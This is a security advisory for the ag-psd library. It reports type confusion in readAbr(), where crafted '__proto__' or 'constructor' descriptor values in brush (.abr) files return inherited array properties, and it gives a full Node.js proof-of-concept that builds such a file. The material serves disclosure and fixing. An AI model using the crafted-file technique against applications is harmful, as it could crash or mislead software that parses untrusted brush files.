Skip to main content
Menu
Advisories

ag-psd 34.2.2 — type confusion in readAbr() returns inherited properties (Array.prototype / Array constructor) as brush enum values

GHSA-4QR6-P43X-3MC5Published Updated GitHub

Description

ag-psd parses Photoshop files, including brush (.abr) files, through readAbr(). The returned Brush objects are built by indexing plain JavaScript arrays with values taken straight from the file's Action Descriptor data, where both the value and its declared OSType are attacker-controlled. A crafted descriptor field declared as TEXT with a value like '__proto__' or 'constructor' therefore does not return a brush value at all, but an inherited property of the indexed array — Array.prototype, or the Array constructor function — as a typed field of the returned object. This is the same flaw class as GHSA-92m5-76fp-r4x7 (enum decoding, fixed in 34.2.1) and GHSA-whr2-hp4j-hxvj (descriptor key handling, fixed in 34.2.2), but in sibling sinks in src/abr.ts that neither fix touched. All versions up to and including 34.2.2 (the latest release at the time of reporting) are affected.

Details

The sinks are all in src/abr.ts and all index an array with a descriptor field whose runtime type is never validated: parseDynamics() at line 425 does control: dynamicsControl[desc.bVTy], where dynamicsControl is a 9-element array (line 24) and desc.bVTy is declared as number in the TypeScript interface but comes straight from the file, so whatever OSType the file declares wins — a TEXT value arrives as a string and dynamicsControl['__proto__'] walks the prototype chain. parseBrushShape() has the same shape at lines 464 (the dBrush branch) and 483 (the dTips branch) with shape: dynamicBrushShapeShapes[desc['Shp ']], and at line 490 with tipsType: tipsBrushShapeShapes[desc.dtipsType]. The crafted values reach these lines through readAbr() → the file's desc section → readSectionDescriptor() → readVersionAndDescriptor() → desc.Brsh[] → parseBrush() (line 799) → parseBrushShape() / parseDynamics(), with no validation anywhere along the path.

This is not a re-test of the two fixed shapes but a leftover of the same class in code the fixes did not reach. I verified the fix history from the published tags: the 34.2.0 → 34.2.1 release contains a single commit (5bdbc633, "Fixed decoding descriptor enum values returning inherited properties…"), which converted the enum reverse map in createEnum() and the brush class-id lookup toBrushType (abr.ts:413) to Maps; the 34.2.1 → 34.2.2 release contains commit caffeb4800, which only changed src/descriptor.ts (keys are now assigned via setProperty(), and descriptor nesting is depth-capped). src/abr.ts is byte-identical between the 34.2.1 and 34.2.2 tags, so the three array lookups survived both fixes untouched. I enumerated all five advisories published for this repo (GHSA-92m5-76fp-r4x7, GHSA-whr2-hp4j-hxvj, GHSA-g444-8269-rhxx, GHSA-6w3r-6hpr-hp6p, GHSA-qfx6-q44v-9qqw) and none covers these sinks.

Beyond the three reported sinks I confirmed some variants: a TEXT value of 'length' returns the array's length (6), showing any property name leaks, not just __proto__/constructor; a TEXT value of '0' is silently accepted as a valid enum, so a wrong-typed value can pass through undetected even when it happens to be a string; an unknown TEXT value yields undefined without crashing. The dBrush branch (line 464) is exploitable through the brush's main shape field, not only through the nested tips descriptor.

The same pattern exists in one more place I found but did not build a runtime proof for: placedLayerTypes[desc.Type] in the SoLd handler in src/additionalInfo.ts (line 4120) indexes an array with an unvalidated descriptor field of a smart-object layer, so a full crafted PSD would likely reproduce the same confusion for placedLayer.type. The legacy PlLd handler (line 1726) validates the index against the array before use and is not affected. A simple fix for all of these is to reject non-numeric values before the lookup, or to use a Map keyed by the validated value the way toBrushType and createEnum() already do.

Proof of concept

Tested against ag-psd 34.2.2 installed from npm (dist build) on Node 22.23.5. The script builds a minimal ABR file (version 6, one 8BIM/desc section holding a version-16 descriptor whose Brsh list contains one brush with a dTips shape descriptor and tip dynamics enabled) with the tested field swapped per run, and calls readAbr().

const { readAbr } = require('ag-psd');
console.log('ag-psd ' + require('ag-psd/package.json').version + ' / node ' + process.version);

function Buf() { this.b = []; }
Buf.prototype.u8 = function (v) { this.b.push(v & 0xff); };
Buf.prototype.i16 = function (v) { this.b.push((v >> 8) & 0xff, v & 0xff); };
Buf.prototype.u32 = function (v) { this.b.push((v >>> 24) & 0xff, (v >>> 16) & 0xff, (v >>> 8) & 0xff, v & 0xff); };
Buf.prototype.i32 = function (v) { this.u32(v >>> 0); };
Buf.prototype.f64 = function (v) {
  const d = new DataView(new ArrayBuffer(8));
  d.setFloat64(0, v);
  for (let i = 0; i < 8; i++) this.b.push(d.getUint8(i));
};
Buf.prototype.sig = function (s) { for (let i = 0; i < 4; i++) this.b.push(s.charCodeAt(i) & 0xff); };
Buf.prototype.ascii = function (s) { for (let i = 0; i < s.length; i++) this.b.push(s.charCodeAt(i) & 0xff); };
Buf.prototype.unicode = function (s) {
  this.u32(s.length + 1);
  for (let i = 0; i < s.length; i++) this.i16(s.charCodeAt(i));
  this.i16(0);
};
Buf.prototype.asciiOrClassId = function (s) {
  if (s.length === 4 && s !== 'warp' && s !== 'time' && s !== 'hold' && s !== 'list' && s !== 'json') { this.i32(0); this.sig(s); }
  else { this.i32(s.length); this.ascii(s); }
};
Buf.prototype.bytes = function () { return new Uint8Array(this.b); };

function val(type, v) { return { t: type, v }; }
function units(u, v) { return { t: 'UntF', u, v }; }
function obj(classId, fields) { return { t: 'Objc', classId, fields }; }
function dynamics(bVTy) { return obj('null', { bVTy, fStp: val('long', 0), jitter: units('#Prc', 0), 'Mnm ': units('#Prc', 0) }); }

function writeValue(b, v) {
  if (v.t === 'long') b.i32(v.v);
  else if (v.t === 'bool') b.u8(v.v);
  else if (v.t === 'TEXT') b.unicode(v.v);
  else if (v.t === 'UntF') { b.sig(v.u); b.f64(v.v); }
  else if (v.t === 'VlLs') {
    b.i32(v.items.length);
    for (const it of v.items) { b.sig(it.t); writeValue(b, it); }
  } else if (v.t === 'Objc') {
    b.unicode('');
    b.asciiOrClassId(v.classId);
    b.u32(Object.keys(v.fields).length);
    for (const k of Object.keys(v.fields)) { b.asciiOrClassId(k); b.sig(v.fields[k].t); writeValue(b, v.fields[k]); }
  }
}

function dTips(shp, dtipsType) {
  return obj('dTips', {
    Angl: units('#Ang', 0), Dmtr: units('#Pxl', 10), 'Shp ': shp, physics: val('bool', 0),
    Spcn: units('#Prc', 100), Intr: val('bool', 0), flipX: val('bool', 0), flipY: val('bool', 0),
    dtipsType, dtipsLengthRatio: units('#Prc', 100), dtipsHardness: units('#Prc', 100),
    dtipsAirbrushCutoffAngle: val('long', 0), dtipsAirbrushGranularity: units('#Prc', 0),
    dtipsAirbrushStreakiness: units('#Prc', 0), dtipsAirbrushSplatSize: units('#Prc', 0),
    dtipsAirbrushSplatCount: val('long', 0),
  });
}

function buildAbr(dynamicsValue, shapeValue, tipsTypeValue) {
  const brush = obj('brush', {
    'Nm  ': val('TEXT', 'poc'),
    Brsh: dTips(shapeValue, tipsTypeValue),
    Spcn: units('#Prc', 100), Wtdg: val('bool', 0), Nose: val('bool', 0), 'Rpt ': val('bool', 0),
    useBrushSize: val('bool', 0), useTipDynamics: val('bool', 1),
    szVr: dynamics(dynamicsValue), angleDynamics: dynamics(val('long', 0)), roundnessDynamics: dynamics(val('long', 0)),
    useScatter: val('bool', 0), useTexture: val('bool', 0), useColorDynamics: val('bool', 0),
    usePaintDynamics: val('bool', 0), useBrushPose: val('bool', 0),
  });
  const body = new Buf();
  body.u32(16);
  writeValue(body, obj('null', { Brsh: { t: 'VlLs', items: [brush] } }));
  const abr = new Buf();
  abr.i16(6);
  abr.i16(1);
  abr.sig('8BIM');
  abr.sig('desc');
  abr.u32(body.b.length);
  abr.b = abr.b.concat(body.b);
  while (abr.b.length % 4) abr.u8(0);
  return abr.bytes();
}

function show(name, v) {
  const what = v === Array.prototype ? 'Array.prototype (inherited)' : v === Array ? 'Array constructor (inherited)' : typeof v + ': ' + JSON.stringify(String(v));
  console.log(name + ' -> ' + what);
}

show('control      (Shp long 0, dtipsType long 0, bVTy long 0)', readAbr(buildAbr(val('long', 0), val('long', 0), val('long', 0))).brushes[0].shape.shape);
const r1 = readAbr(buildAbr(val('long', 0), val('long', 0), val('long', 0)));
show('control      (tipsType long 0)', r1.brushes[0].shape.tipsType);
show('control      (bVTy long 0)', r1.brushes[0].shapeDynamics.sizeDynamics.control);
show('bypass Shp   (TEXT "__proto__")', readAbr(buildAbr(val('long', 0), val('TEXT', '__proto__'), val('long', 0))).brushes[0].shape.shape);
show('bypass Shp   (TEXT "__proto__") full identity check:', readAbr(buildAbr(val('long', 0), val('TEXT', '__proto__'), val('long', 0))).brushes[0].shape.shape === Array.prototype);
show('bypass dtipsType (TEXT "constructor")', readAbr(buildAbr(val('long', 0), val('long', 0), val('TEXT', 'constructor'))).brushes[0].shape.tipsType);
show('bypass dtipsType (TEXT "constructor") full identity check:', readAbr(buildAbr(val('long', 0), val('long', 0), val('TEXT', 'constructor'))).brushes[0].shape.tipsType === Array);
show('bypass bVTy  (TEXT "__proto__")', readAbr(buildAbr(val('TEXT', '__proto__'), val('long', 0), val('long', 0))).brushes[0].shapeDynamics.sizeDynamics.control);
show('bypass bVTy  (TEXT "__proto__") full identity check:', readAbr(buildAbr(val('TEXT', '__proto__'), val('long', 0), val('long', 0))).brushes[0].shapeDynamics.sizeDynamics.control === Array.prototype);
console.log('Object.prototype still intact:', ({}).toString() === '[object Object]' && Array.prototype.__proto__ === Object.prototype);

The control run parses the file normally and returns the real enum strings. The bypass runs return inherited properties in the typed fields, confirmed with strict equality. This is the actual output:

ag-psd 34.2.2 / node v22.23.5
control      (Shp long 0, dtipsType long 0, bVTy long 0) -> string: "round point"
control      (tipsType long 0) -> string: "erodible point"
control      (bVTy long 0) -> string: "off"
bypass Shp   (TEXT "__proto__") -> Array.prototype (inherited)
bypass Shp   (TEXT "__proto__") full identity check: -> boolean: "true"
bypass dtipsType (TEXT "constructor") -> Array constructor (inherited)
bypass dtipsType (TEXT "constructor") full identity check: -> boolean: "true"
bypass bVTy  (TEXT "__proto__") -> Array.prototype (inherited)
bypass bVTy  (TEXT "__proto__") full identity check: -> boolean: "true"
Object.prototype still intact: true

A fuller matrix I ran against the same build covers all four sink sites (the dBrush main-shape branch at line 464 included), the length and '0' variants, and negative controls: the fixed sinks behave safely (toolOptions.type stays 'brush' when the crafted class id is '__proto__', because the lookup is a Map since 34.2.1; a '__proto__' descriptor key does not pollute, because of the 34.2.2 setProperty() change), and no run writes to any prototype — 20/20 checks pass. The full script is available on request.

Impact

A crafted .abr file supplied to any application that parses untrusted brush files with readAbr() makes the library return Array.prototype or the Array constructor function in fields whose types promise a string (BrushDynamics.control, DynamicBrushShape.shape, TipsBrushShape.tipsType). Downstream code that trusts those fields can silently take the wrong branch when switching or comparing on them, can throw (TypeError on string methods) and crash the consuming application, and receives a prototype object or native function where a brush value was expected if it passes the field on as a key or constructor. A wrong-typed value can also slip through entirely undetected: TEXT '0' is accepted as a valid enum. To be clear about what this is not: the parser itself never writes to any prototype (I checked Object.prototype/Array.prototype integrity after every run), so there is no direct prototype pollution here — the impact is returned-value type confusion and depends on what the consuming application does with the mistyped field, which is the same impact statement the two already-published advisories for this class use. The parser does not crash or misbehave on the crafted file itself; the confusion is confined to the returned object.

Affected versions

References

GitHub · Agamnentzar/ag-psd